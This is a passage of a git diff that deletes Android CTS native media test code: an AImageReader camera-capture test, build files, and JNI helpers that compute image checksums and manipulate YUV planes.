-
-        ret = AImageReader_setImageListener(mImgReader, &mReaderAvailableCb);
-        if (ret != AMEDIA_OK) {
-            ALOGE("Failed to set image available listener, ret=%d.", ret);
-            return ret;
-        }
-
-        ret = AImageReader_setBufferRemovedListener(mImgReader, &mReaderDetachedCb);
-        if (ret != AMEDIA_OK) {
-            ALOGE("Failed to set buffer detaching listener, ret=%d.", ret);
-            return ret;
-        }
-
-        ret = AImageReader_getWindow(mImgReader, &mImgReaderAnw);
-        if (ret != AMEDIA_OK || mImgReaderAnw == nullptr) {
-            ALOGE("Failed to get ANativeWindow from AImageReader, ret=%d, mImgReaderAnw=%p.", ret,
-                  mImgReaderAnw);
-            return -1;
-        }
-
-        return 0;
-    }
-
-    ANativeWindow* getNativeWindow() { return mImgReaderAnw; }
-
-    int getAcquiredImageCount() {
-        std::lock_guard<std::mutex> lock(mMutex);
-        return mAcquiredImageCount;
-    }
-
-    void HandleImageAvailable(AImageReader* reader) {
-        std::lock_guard<std::mutex> lock(mMutex);
-
-        AImage* outImage = nullptr;
-        media_status_t ret;
-
-        // Make sure AImage will be deleted automatically when it goes out of
-        // scope.
-        auto imageDeleter = [this](AImage* img) {
-            if (mAsync) {
-                AImage_deleteAsync(img, kDummyFenceFd);
-            } else {
-                AImage_delete(img);
-            }
-        };
-        std::unique_ptr<AImage, decltype(imageDeleter)> img(nullptr, imageDeleter);
-
-        if (mAsync) {
-            int outFenceFd = 0;
-            // Verity that outFenceFd's value will be changed by
-            // AImageReader_acquireNextImageAsync.
-            ret = AImageReader_acquireNextImageAsync(reader, &outImage, &outFenceFd);
-            if (ret != AMEDIA_OK || outImage == nullptr || outFenceFd == 0) {
-                ALOGE("Failed to acquire image, ret=%d, outIamge=%p, outFenceFd=%d.", ret, outImage,
-                      outFenceFd);
-                return;
-            }
-            img.reset(outImage);
-        } else {
-            ret = AImageReader_acquireNextImage(reader, &outImage);
-            if (ret != AMEDIA_OK || outImage == nullptr) {
-                ALOGE("Failed to acquire image, ret=%d, outIamge=%p.", ret, outImage);
-                return;
-            }
-            img.reset(outImage);
-        }
-
-        AHardwareBuffer* outBuffer = nullptr;
-        ret = AImage_getHardwareBuffer(img.get(), &outBuffer);
-        if (ret != AMEDIA_OK || outBuffer == nullptr) {
-            ALOGE("Faild to get hardware buffer, ret=%d, outBuffer=%p.", ret, outBuffer);
-            return;
-        }
-
-        // No need to release AHardwareBuffer, since we don't acquire additional
-        // reference to it.
-        AHardwareBuffer_Desc outDesc;
-        AHardwareBuffer_describe(outBuffer, &outDesc);
-        int32_t imageWidth = 0;
-        int32_t imageHeight = 0;
-        int32_t bufferWidth = static_cast<int32_t>(outDesc.width);
-        int32_t bufferHeight = static_cast<int32_t>(outDesc.height);
-
-        AImage_getWidth(outImage, &imageWidth);
-        AImage_getHeight(outImage, &imageHeight);
-        if (imageWidth != mWidth || imageHeight != mHeight) {
-            ALOGE("Mismatched output image dimension: expected=%dx%d, actual=%dx%d", mWidth,
-                  mHeight, imageWidth, imageHeight);
-            return;
-        }
-
-        if (mFormat == AIMAGE_FORMAT_RGBA_8888 ||
-            mFormat == AIMAGE_FORMAT_RGBX_8888 ||
-            mFormat == AIMAGE_FORMAT_RGB_888 ||
-            mFormat == AIMAGE_FORMAT_RGB_565 ||
-            mFormat == AIMAGE_FORMAT_RGBA_FP16 ||
-            mFormat == AIMAGE_FORMAT_YUV_420_888 ||
-            mFormat == AIMAGE_FORMAT_Y8) {
-            // Check output buffer dimension for certain formats. Don't do this for blob based
-            // formats.
-            if (bufferWidth != mWidth || bufferHeight != mHeight) {
-                ALOGE("Mismatched output buffer dimension: expected=%dx%d, actual=%dx%d", mWidth,
-                      mHeight, bufferWidth, bufferHeight);
-                return;
-            }
-        }
-
-        if ((outDesc.usage & mUsage) != mUsage) {
-            ALOGE("Mismatched output buffer usage: actual (%" PRIu64 "), expected (%" PRIu64 ")",
-                  outDesc.usage, mUsage);
-            return;
-        }
-
-        uint8_t* data = nullptr;
-        int dataLength = 0;
-        ret = AImage_getPlaneData(img.get(), 0, &data, &dataLength);
-        if (mUsage & AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN) {
-            // When we have CPU_READ_OFTEN usage bits, we can lock the image.
-            if (ret != AMEDIA_OK || data == nullptr || dataLength < 0) {
-                ALOGE("Failed to access CPU data, ret=%d, data=%p, dataLength=%d", ret, data,
-                      dataLength);
-                return;
-            }
-        } else {
-            if (ret != AMEDIA_IMGREADER_CANNOT_LOCK_IMAGE || data != nullptr || dataLength != 0) {
-                ALOGE("Shouldn't be able to access CPU data, ret=%d, data=%p, dataLength=%d", ret,
-                      data, dataLength);
-                return;
-            }
-        }
-        // Only increase mAcquiredImageCount if all checks pass.
-        mAcquiredImageCount++;
-    }
-
-    static void onImageAvailable(void* obj, AImageReader* reader) {
-        ImageReaderTestCase* thiz = reinterpret_cast<ImageReaderTestCase*>(obj);
-        thiz->HandleImageAvailable(reader);
-    }
-
-    static void
-    onBufferRemoved(void* /*obj*/, AImageReader* /*reader*/, AHardwareBuffer* /*buffer*/) {
-        // No-op, just to check the listener can be set properly.
-    }
-
-   private:
-    int32_t mWidth;
-    int32_t mHeight;
-    int32_t mFormat;
-    uint64_t mUsage;
-    int32_t mMaxImages;
-    bool mAsync;
-
-    std::mutex mMutex;
-    int mAcquiredImageCount{0};
-
-    AImageReader* mImgReader = nullptr;
-    ANativeWindow* mImgReaderAnw = nullptr;
-
-    AImageReader_ImageListener mReaderAvailableCb{this, onImageAvailable};
-    AImageReader_BufferRemovedListener mReaderDetachedCb{this, onBufferRemoved};
-};
-
-int takePictures(uint64_t readerUsage, int readerMaxImages, bool readerAsync, int pictureCount) {
-    int ret = 0;
-
-    ImageReaderTestCase testCase(
-            kTestImageWidth, kTestImageHeight, kTestImageFormat, readerUsage, readerMaxImages,
-            readerAsync);
-    ret = testCase.initImageReader();
-    if (ret < 0) {
-        return ret;
-    }
-
-    CameraHelper cameraHelper(testCase.getNativeWindow());
-    ret = cameraHelper.initCamera();
-    if (ret < 0) {
-        return ret;
-    }
-
-    if (!cameraHelper.isCameraReady()) {
-        ALOGW("Camera is not ready after successful initialization. It's either due to camera on "
-              "board lacks BACKWARDS_COMPATIBLE capability or the device does not have camera on "
-              "board.");
-        return 0;
-    }
-
-    for (int i = 0; i < pictureCount; i++) {
-        ret = cameraHelper.takePicture();
-        if (ret < 0) {
-            return ret;
-        }
-    }
-
-    // Sleep until all capture finished
-    for (int i = 0; i < kCaptureWaitRetry * pictureCount; i++) {
-        usleep(kCaptureWaitUs);
-        if (testCase.getAcquiredImageCount() == pictureCount) {
-            ALOGI("Session take ~%d ms to capture %d images", i * kCaptureWaitUs / 1000,
-                  pictureCount);
-            break;
-        }
-    }
-
-    return testCase.getAcquiredImageCount() == pictureCount ? 0 : -1;
-}
-
-}  // namespace
-
-// Test that newWithUsage can create AImageReader correctly.
-extern "C" jboolean Java_android_media_cts_NativeImageReaderTest_\
-testSucceedsWithSupportedUsageFormatNative(JNIEnv* /*env*/, jclass /*clazz*/) {
-    static constexpr int kTestImageCount = 8;
-
-    for (auto& combination : supportedFormatUsage) {
-        AImageReader* outReader;
-        media_status_t ret = AImageReader_newWithUsage(
-                kTestImageWidth, kTestImageHeight, combination.format, combination.usage,
-                kTestImageCount, &outReader);
-        if (ret != AMEDIA_OK || outReader == nullptr) {
-            ALOGE("AImageReader_newWithUsage failed with format: %" PRId64 ", usage: %" PRId64 ".",
-                  combination.format, combination.usage);
-            return false;
-        }
-        AImageReader_delete(outReader);
-    }
-
-    return true;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeImageReaderTest_\
-testTakePicturesNative(JNIEnv* /*env*/, jclass /*clazz*/) {
-    for (auto& readerUsage :
-         {AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN}) {
-        for (auto& readerMaxImages : {1, 4, 8}) {
-            for (auto& readerAsync : {true, false}) {
-                for (auto& pictureCount : {1, 8, 16}) {
-                    if (takePictures(readerUsage, readerMaxImages, readerAsync, pictureCount)) {
-                        ALOGE("Test takePictures failed for test case usage=%" PRIu64 ", maxImages=%d, "
-                              "async=%d, pictureCount=%d",
-                              readerUsage, readerMaxImages, readerAsync, pictureCount);
-                        return false;
-                    }
-                }
-            }
-        }
-    }
-    return true;
-}
-
-extern "C" jobject Java_android_media_cts_NativeImageReaderTest_\
-testCreateSurfaceNative(JNIEnv* env, jclass /*clazz*/) {
-    static constexpr uint64_t kTestImageUsage = AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
-    static constexpr int kTestImageCount = 8;
-
-    ImageReaderTestCase testCase(
-            kTestImageWidth, kTestImageHeight, kTestImageFormat, kTestImageUsage, kTestImageCount,
-            false);
-    int ret = testCase.initImageReader();
-    if (ret < 0) {
-        ALOGE("Failed to get initialize image reader: ret=%d.", ret);
-        return nullptr;
-    }
-
-    // No need to release the window as AImageReader_delete takes care of it.
-    ANativeWindow* window = testCase.getNativeWindow();
-    if (window == nullptr) {
-        ALOGE("Failed to get native window for the test case.");
-        return nullptr;
-    }
-
-    return ANativeWindow_toSurface(env, window);
-}
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
deleted file mode 100644
index bb84594..0000000
--- a/tests/tests/media/libimagereaderjni/Android.bp
+++ /dev/null
@@ -1,40 +0,0 @@
-// Copyright 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Build the unit tests.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test_library {
-    name: "libctsimagereader_jni",
-    srcs: ["AImageReaderCts.cpp"],
-    shared_libs: [
-        "libandroid",
-        "libcamera2ndk",
-        "libmediandk",
-        "libnativewindow",
-        "liblog",
-    ],
-    cflags: [
-        "-Werror",
-        "-Wall",
-    ],
-    gtest: false,
-    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
-    // (revisit if/when we add features to this library that require newer sdk.
-    sdk_version: "29",
-    stl: "libc++_static",
-}
diff --git a/tests/tests/media/libimagereaderjni/OWNERS b/tests/tests/media/libimagereaderjni/OWNERS
deleted file mode 100644
index f48a95c..0000000
--- a/tests/tests/media/libimagereaderjni/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-include platform/frameworks/av:/camera/OWNERS
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
deleted file mode 100644
index 6c94032..0000000
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ /dev/null
@@ -1,113 +0,0 @@
-// Copyright (C) 2012 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-//------------------------------------------------------------------------------
-// Builds libctscodecutils_jni.so
-//
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   legacy_unencumbered
-    default_applicable_licenses: ["cts_license"],
-}
-
-cc_test_library {
-    name: "libctscodecutils_jni",
-    srcs: [
-        "codec-utils-jni.cpp",
-        "md5_utils.cpp",
-    ],
-    shared_libs: [
-        "libnativehelper_compat_libc++",
-        "liblog",
-    ],
-    header_libs: ["liblog_headers"],
-    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
-    // (revisit if/when we add features to this library that require newer sdk.
-    sdk_version: "29",
-    cflags: [
-        "-Werror",
-        "-Wall",
-        "-DEGL_EGLEXT_PROTOTYPES",
-    ],
-    stl: "libc++_static",
-    gtest: false,
-}
-
-//------------------------------------------------------------------------------
-// Builds libctsmediacodec_jni.so
-//
-cc_test_library {
-    name: "libctsmediacodec_jni",
-    srcs: [
-        "native-media-jni.cpp",
-        "native_media_utils.cpp",
-        "native_media_decoder_source.cpp",
-    ],
-    shared_libs: [
-        "libandroid",
-        "libnativehelper_compat_libc++",
-        "liblog",
-        "libmediandk",
-        "libEGL",
-    ],
-    header_libs: ["liblog_headers"],
-    stl: "libc++_static",
-    cflags: [
-        "-Werror",
-        "-Wall",
-        "-DEGL_EGLEXT_PROTOTYPES",
-    ],
-    gtest: false,
-    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
-    // (revisit if/when we add features to this library that require newer sdk.
-    sdk_version: "29",
-}
-
-//------------------------------------------------------------------------------
-// Builds libctsmediadrm_jni.so
-//
-cc_test_library {
-    name: "libctsmediadrm_jni",
-    srcs: [
-        "CtsMediaDrmJniOnLoad.cpp",
-        "codec-utils-jni.cpp",
-        "md5_utils.cpp",
-        "native-mediadrm-jni.cpp",
-    ],
-    include_dirs: ["system/core/include"],
-    shared_libs: [
-        "libandroid",
-        "libnativehelper_compat_libc++",
-        "liblog",
-        "libmediandk",
-        "libdl",
-        "libEGL",
-    ],
-    header_libs: ["liblog_headers"],
-    cflags: [
-        "-Werror",
-        "-Wall",
-        "-DEGL_EGLEXT_PROTOTYPES",
-    ],
-    stl: "libc++_static",
-    gtest: false,
-    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
-    // (revisit if/when we add features to this library that require newer sdk.
-    sdk_version: "29",
-}
diff --git a/tests/tests/media/libmediandkjni/CtsMediaDrmJniOnLoad.cpp b/tests/tests/media/libmediandkjni/CtsMediaDrmJniOnLoad.cpp
deleted file mode 100644
index 167763165..0000000
--- a/tests/tests/media/libmediandkjni/CtsMediaDrmJniOnLoad.cpp
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <stdio.h>
-
-extern int register_android_media_cts_NativeMediaDrmClearkeyTest(JNIEnv*);
-
-jint JNI_OnLoad(JavaVM *vm, void */*reserved*/) {
-    JNIEnv *env = NULL;
-
-    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
-        return JNI_ERR;
-    }
-
-    if (register_android_media_cts_NativeMediaDrmClearkeyTest(env)) {
-        return JNI_ERR;
-    }
-
-    return JNI_VERSION_1_4;
-}
diff --git a/tests/tests/media/libmediandkjni/codec-utils-jni.cpp b/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
deleted file mode 100644
index 5525e4e..0000000
--- a/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
+++ /dev/null
@@ -1,538 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* Original code copied from NDK Native-media sample code */
-
-//#define LOG_NDEBUG 0
-#define TAG "CodecUtilsJNI"
-#include <log/log.h>
-
-#include <stdint.h>
-#include <sys/types.h>
-#include <jni.h>
-
-// workaround for using ScopedLocalRef with system runtime
-// TODO: Remove this after b/74632104 is fixed
-namespace std
-{
-  typedef decltype(nullptr) nullptr_t;
-}
-
-#include <nativehelper/JNIHelp.h>
-#include <nativehelper/ScopedLocalRef.h>
-
-#include <math.h>
-
-#include "md5_utils.h"
-
-typedef ssize_t offs_t;
-
-struct NativeImage {
-    struct crop {
-        int left;
-        int top;
-        int right;
-        int bottom;
-    } crop;
-    struct plane {
-        const uint8_t *buffer;
-        size_t size;
-        ssize_t colInc;
-        ssize_t rowInc;
-        offs_t cropOffs;
-        size_t cropWidth;
-        size_t cropHeight;
-    } plane[3];
-    int width;
-    int height;
-    int format;
-    long timestamp;
-    size_t numPlanes;
-};
-
-struct ChecksumAlg {
-    virtual void init() = 0;
-    virtual void update(uint8_t c) = 0;
-    virtual uint32_t checksum() = 0;
-    virtual size_t length() = 0;
-protected:
-    virtual ~ChecksumAlg() {}
-};
-
-struct Adler32 : ChecksumAlg {
-    Adler32() {
-        init();
-    }
-    void init() {
-        a = 1;
-        len = b = 0;
-    }
-    void update(uint8_t c) {
-        a += c;
-        b += a;
-        ++len;
-    }
-    uint32_t checksum() {
-        return (a % 65521) + ((b % 65521) << 16);
-    }
-    size_t length() {
-        return len;
-    }
-private:
-    uint32_t a, b;
-    size_t len;
-};
-
-static struct ImageFieldsAndMethods {
-    // android.graphics.ImageFormat
-    int YUV_420_888;
-    // android.media.Image
-    jmethodID methodWidth;
-    jmethodID methodHeight;
-    jmethodID methodFormat;
-    jmethodID methodTimestamp;
-    jmethodID methodPlanes;
-    jmethodID methodCrop;
-    // android.media.Image.Plane
-    jmethodID methodBuffer;
-    jmethodID methodPixelStride;
-    jmethodID methodRowStride;
-    // android.graphics.Rect
-    jfieldID fieldLeft;
-    jfieldID fieldTop;
-    jfieldID fieldRight;
-    jfieldID fieldBottom;
-} gFields;
-static bool gFieldsInitialized = false;
-
-void initializeGlobalFields(JNIEnv *env) {
-    if (gFieldsInitialized) {
-        return;
-    }
-    {   // ImageFormat
-        jclass imageFormatClazz = env->FindClass("android/graphics/ImageFormat");
-        const jfieldID fieldYUV420888 = env->GetStaticFieldID(imageFormatClazz, "YUV_420_888", "I");
-        gFields.YUV_420_888 = env->GetStaticIntField(imageFormatClazz, fieldYUV420888);
-        env->DeleteLocalRef(imageFormatClazz);
-        imageFormatClazz = NULL;
-    }
-
-    {   // Image
-        jclass imageClazz = env->FindClass("android/media/cts/CodecImage");
-        gFields.methodWidth  = env->GetMethodID(imageClazz, "getWidth", "()I");
-        gFields.methodHeight = env->GetMethodID(imageClazz, "getHeight", "()I");
-        gFields.methodFormat = env->GetMethodID(imageClazz, "getFormat", "()I");
-        gFields.methodTimestamp = env->GetMethodID(imageClazz, "getTimestamp", "()J");
-        gFields.methodPlanes = env->GetMethodID(
-                imageClazz, "getPlanes", "()[Landroid/media/cts/CodecImage$Plane;");
-        gFields.methodCrop   = env->GetMethodID(
-                imageClazz, "getCropRect", "()Landroid/graphics/Rect;");
-        env->DeleteLocalRef(imageClazz);
-        imageClazz = NULL;
-    }
-
-    {   // Image.Plane
-        jclass planeClazz = env->FindClass("android/media/cts/CodecImage$Plane");
-        gFields.methodBuffer = env->GetMethodID(planeClazz, "getBuffer", "()Ljava/nio/ByteBuffer;");
-        gFields.methodPixelStride = env->GetMethodID(planeClazz, "getPixelStride", "()I");
-        gFields.methodRowStride = env->GetMethodID(planeClazz, "getRowStride", "()I");
-        env->DeleteLocalRef(planeClazz);
-        planeClazz = NULL;
-    }
-
-    {   // Rect
-        jclass rectClazz = env->FindClass("android/graphics/Rect");
-        gFields.fieldLeft   = env->GetFieldID(rectClazz, "left", "I");
-        gFields.fieldTop    = env->GetFieldID(rectClazz, "top", "I");
-        gFields.fieldRight  = env->GetFieldID(rectClazz, "right", "I");
-        gFields.fieldBottom = env->GetFieldID(rectClazz, "bottom", "I");
-        env->DeleteLocalRef(rectClazz);
-        rectClazz = NULL;
-    }
-    gFieldsInitialized = true;
-}
-
-NativeImage *getNativeImage(JNIEnv *env, jobject image, jobject area = NULL) {
-    if (image == NULL) {
-        jniThrowNullPointerException(env, "image is null");
-        return NULL;
-    }
-
-    initializeGlobalFields(env);
-
-    NativeImage *img = new NativeImage;
-    img->format = env->CallIntMethod(image, gFields.methodFormat);
-    img->width  = env->CallIntMethod(image, gFields.methodWidth);
-    img->height = env->CallIntMethod(image, gFields.methodHeight);
-    img->timestamp = env->CallLongMethod(image, gFields.methodTimestamp);
-
-    jobject cropRect = NULL;
-    if (area == NULL) {
-        cropRect = env->CallObjectMethod(image, gFields.methodCrop);
-        area = cropRect;
-    }
-
-    img->crop.left   = env->GetIntField(area, gFields.fieldLeft);
-    img->crop.top    = env->GetIntField(area, gFields.fieldTop);
-    img->crop.right  = env->GetIntField(area, gFields.fieldRight);
-    img->crop.bottom = env->GetIntField(area, gFields.fieldBottom);
-    if (img->crop.right == 0 && img->crop.bottom == 0) {
-        img->crop.right  = img->width;
-        img->crop.bottom = img->height;
-    }
-
-    if (cropRect != NULL) {
-        env->DeleteLocalRef(cropRect);
-        cropRect = NULL;
-    }
-
-    if (img->format != gFields.YUV_420_888) {
-        jniThrowException(
-                env, "java/lang/UnsupportedOperationException",
-                "only support YUV_420_888 images");
-        delete img;
-        img = NULL;
-        return NULL;
-    }
-    img->numPlanes = 3;
-
-    ScopedLocalRef<jobjectArray> planesArray(
-            env, (jobjectArray)env->CallObjectMethod(image, gFields.methodPlanes));
-    int xDecim = 0;
-    int yDecim = 0;
-    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
-        ScopedLocalRef<jobject> plane(
-                env, env->GetObjectArrayElement(planesArray.get(), (jsize)ix));
-        img->plane[ix].colInc = env->CallIntMethod(plane.get(), gFields.methodPixelStride);
-        img->plane[ix].rowInc = env->CallIntMethod(plane.get(), gFields.methodRowStride);
-        ScopedLocalRef<jobject> buffer(
-                env, env->CallObjectMethod(plane.get(), gFields.methodBuffer));
-
-        img->plane[ix].buffer = (const uint8_t *)env->GetDirectBufferAddress(buffer.get());
-        img->plane[ix].size = env->GetDirectBufferCapacity(buffer.get());
-
-        img->plane[ix].cropOffs =
-            (img->crop.left >> xDecim) * img->plane[ix].colInc
-                    + (img->crop.top >> yDecim) * img->plane[ix].rowInc;
-        img->plane[ix].cropHeight =
-            ((img->crop.bottom + (1 << yDecim) - 1) >> yDecim) - (img->crop.top >> yDecim);
-        img->plane[ix].cropWidth =
-            ((img->crop.right + (1 << xDecim) - 1) >> xDecim) - (img->crop.left >> xDecim);
-
-        // sanity check on increments
-        ssize_t widthOffs =
-            (((img->width + (1 << xDecim) - 1) >> xDecim) - 1) * img->plane[ix].colInc;
-        ssize_t heightOffs =
-            (((img->height + (1 << yDecim) - 1) >> yDecim) - 1) * img->plane[ix].rowInc;
-        if (widthOffs < 0 || heightOffs < 0
-                || widthOffs + heightOffs >= (ssize_t)img->plane[ix].size) {
-            jniThrowException(
-                    env, "java/lang/IndexOutOfBoundsException", "plane exceeds bytearray");
-            delete img;
-            img = NULL;
-            return NULL;
-        }
-        xDecim = yDecim = 1;
-    }
-    return img;
-}
-
-extern "C" jint Java_android_media_cts_CodecUtils_getImageChecksumAlder32(JNIEnv *env,
-        jclass /*clazz*/, jobject image)
-{
-    NativeImage *img = getNativeImage(env, image);
-    if (img == NULL) {
-        return 0;
-    }
-
-    Adler32 adler;
-    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
-        const uint8_t *row = img->plane[ix].buffer + img->plane[ix].cropOffs;
-        for (size_t y = img->plane[ix].cropHeight; y > 0; --y) {
-            const uint8_t *col = row;
-            ssize_t colInc = img->plane[ix].colInc;
-            for (size_t x = img->plane[ix].cropWidth; x > 0; --x) {
-                adler.update(*col);
-                col += colInc;
-            }
-            row += img->plane[ix].rowInc;
-        }
-    }
-    ALOGV("adler %zu/%u", adler.length(), adler.checksum());
-    return adler.checksum();
-}
-
-extern "C" jstring Java_android_media_cts_CodecUtils_getImageChecksumMD5(JNIEnv *env,
-        jclass /*clazz*/, jobject image)
-{
-    NativeImage *img = getNativeImage(env, image);
-    if (img == NULL) {
-        return 0;
-    }
-
-    MD5Context md5;
-    char res[33];
-    MD5Init(&md5);
-
-    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
-        const uint8_t *row = img->plane[ix].buffer + img->plane[ix].cropOffs;
-        for (size_t y = img->plane[ix].cropHeight; y > 0; --y) {
-            const uint8_t *col = row;
-            ssize_t colInc = img->plane[ix].colInc;
-            for (size_t x = img->plane[ix].cropWidth; x > 0; --x) {
-                MD5Update(&md5, col, 1);
-                col += colInc;
-            }
-            row += img->plane[ix].rowInc;
-        }
-    }
-
-    static const char hex[16] = {
-        '0', '1', '2', '3', '4', '5', '6', '7',
-        '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
-    };
-    uint8_t tmp[16];
-
-    MD5Final(tmp, &md5);
-    for (int i = 0; i < 16; i++) {
-        res[i * 2 + 0] = hex[tmp[i] >> 4];
-        res[i * 2 + 1] = hex[tmp[i] & 0xf];
-    }
-    res[32] = 0;
-
-    return env->NewStringUTF(res);
-}
-
-/* tiled copy that loops around source image boundary */
-extern "C" void Java_android_media_cts_CodecUtils_copyFlexYUVImage(JNIEnv *env,
-        jclass /*clazz*/, jobject target, jobject source)
-{
-    NativeImage *tgt = getNativeImage(env, target);
-    NativeImage *src = getNativeImage(env, source);
-    if (tgt != NULL && src != NULL) {
-        ALOGV("copyFlexYUVImage %dx%d (%d,%d..%d,%d) (%zux%zu) %+zd%+zd %+zd%+zd %+zd%+zd <= "
-                "%dx%d (%d, %d..%d, %d) (%zux%zu) %+zd%+zd %+zd%+zd %+zd%+zd",
-                tgt->width, tgt->height,
-                tgt->crop.left, tgt->crop.top, tgt->crop.right, tgt->crop.bottom,
-                tgt->plane[0].cropWidth, tgt->plane[0].cropHeight,
-                tgt->plane[0].rowInc, tgt->plane[0].colInc,
-                tgt->plane[1].rowInc, tgt->plane[1].colInc,
-                tgt->plane[2].rowInc, tgt->plane[2].colInc,
-                src->width, src->height,
-                src->crop.left, src->crop.top, src->crop.right, src->crop.bottom,
-                src->plane[0].cropWidth, src->plane[0].cropHeight,
-                src->plane[0].rowInc, src->plane[0].colInc,
-                src->plane[1].rowInc, src->plane[1].colInc,
-                src->plane[2].rowInc, src->plane[2].colInc);
-        for (size_t ix = 0; ix < tgt->numPlanes; ++ix) {
-            uint8_t *row = const_cast<uint8_t *>(tgt->plane[ix].buffer) + tgt->plane[ix].cropOffs;
-            for (size_t y = 0; y < tgt->plane[ix].cropHeight; ++y) {
-                uint8_t *col = row;
-                ssize_t colInc = tgt->plane[ix].colInc;
-                const uint8_t *srcRow = (src->plane[ix].buffer + src->plane[ix].cropOffs
-                        + src->plane[ix].rowInc * (y % src->plane[ix].cropHeight));
-                for (size_t x = 0; x < tgt->plane[ix].cropWidth; ++x) {
-                    *col = srcRow[src->plane[ix].colInc * (x % src->plane[ix].cropWidth)];
-                    col += colInc;
-                }
-                row += tgt->plane[ix].rowInc;
-            }
-        }
-    }
-}
-
-extern "C" void Java_android_media_cts_CodecUtils_fillImageRectWithYUV(JNIEnv *env,
-        jclass /*clazz*/, jobject image, jobject area, jint y, jint u, jint v)
-{
-    NativeImage *img = getNativeImage(env, image, area);
-    if (img == NULL) {
-        return;
-    }
-
-    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
-        const uint8_t *row = img->plane[ix].buffer + img->plane[ix].cropOffs;
-        uint8_t val = ix == 0 ? y : ix == 1 ? u : v;
-        for (size_t y = img->plane[ix].cropHeight; y > 0; --y) {
-            uint8_t *col = (uint8_t *)row;
-            ssize_t colInc = img->plane[ix].colInc;
-            for (size_t x = img->plane[ix].cropWidth; x > 0; --x) {
-                *col = val;
-                col += colInc;
-            }
-            row += img->plane[ix].rowInc;
-        }
-    }
-}
-
-void getRawStats(NativeImage *img, jlong rawStats[10])
-{
-    // this works best if crop area is even
-
-    uint64_t sum_x[3]  = { 0, 0, 0 }; // Y, U, V
-    uint64_t sum_xx[3] = { 0, 0, 0 }; // YY, UU, VV
-    uint64_t sum_xy[3] = { 0, 0, 0 }; // YU, YV, UV
-
-    const uint8_t *yrow = img->plane[0].buffer + img->plane[0].cropOffs;
-    const uint8_t *urow = img->plane[1].buffer + img->plane[1].cropOffs;
-    const uint8_t *vrow = img->plane[2].buffer + img->plane[2].cropOffs;
-
-    ssize_t ycolInc = img->plane[0].colInc;
-    ssize_t ucolInc = img->plane[1].colInc;
-    ssize_t vcolInc = img->plane[2].colInc;
-
-    ssize_t yrowInc = img->plane[0].rowInc;
-    ssize_t urowInc = img->plane[1].rowInc;
-    ssize_t vrowInc = img->plane[2].rowInc;
-
-    size_t rightOdd = img->crop.right & 1;
-    size_t bottomOdd = img->crop.bottom & 1;
-
-    for (size_t y = img->plane[0].cropHeight; y; --y) {
-        uint8_t *ycol = (uint8_t *)yrow;
-        uint8_t *ucol = (uint8_t *)urow;
-        uint8_t *vcol = (uint8_t *)vrow;
-
-        for (size_t x = img->plane[0].cropWidth; x; --x) {
-            uint64_t Y = *ycol;
-            uint64_t U = *ucol;
-            uint64_t V = *vcol;
-
-            sum_x[0] += Y;
-            sum_x[1] += U;
-            sum_x[2] += V;
-            sum_xx[0] += Y * Y;
-            sum_xx[1] += U * U;
-            sum_xx[2] += V * V;
-            sum_xy[0] += Y * U;
-            sum_xy[1] += Y * V;
-            sum_xy[2] += U * V;
-
-            ycol += ycolInc;
-            if (rightOdd ^ (x & 1)) {
-                ucol += ucolInc;
-                vcol += vcolInc;
-            }
-        }
-
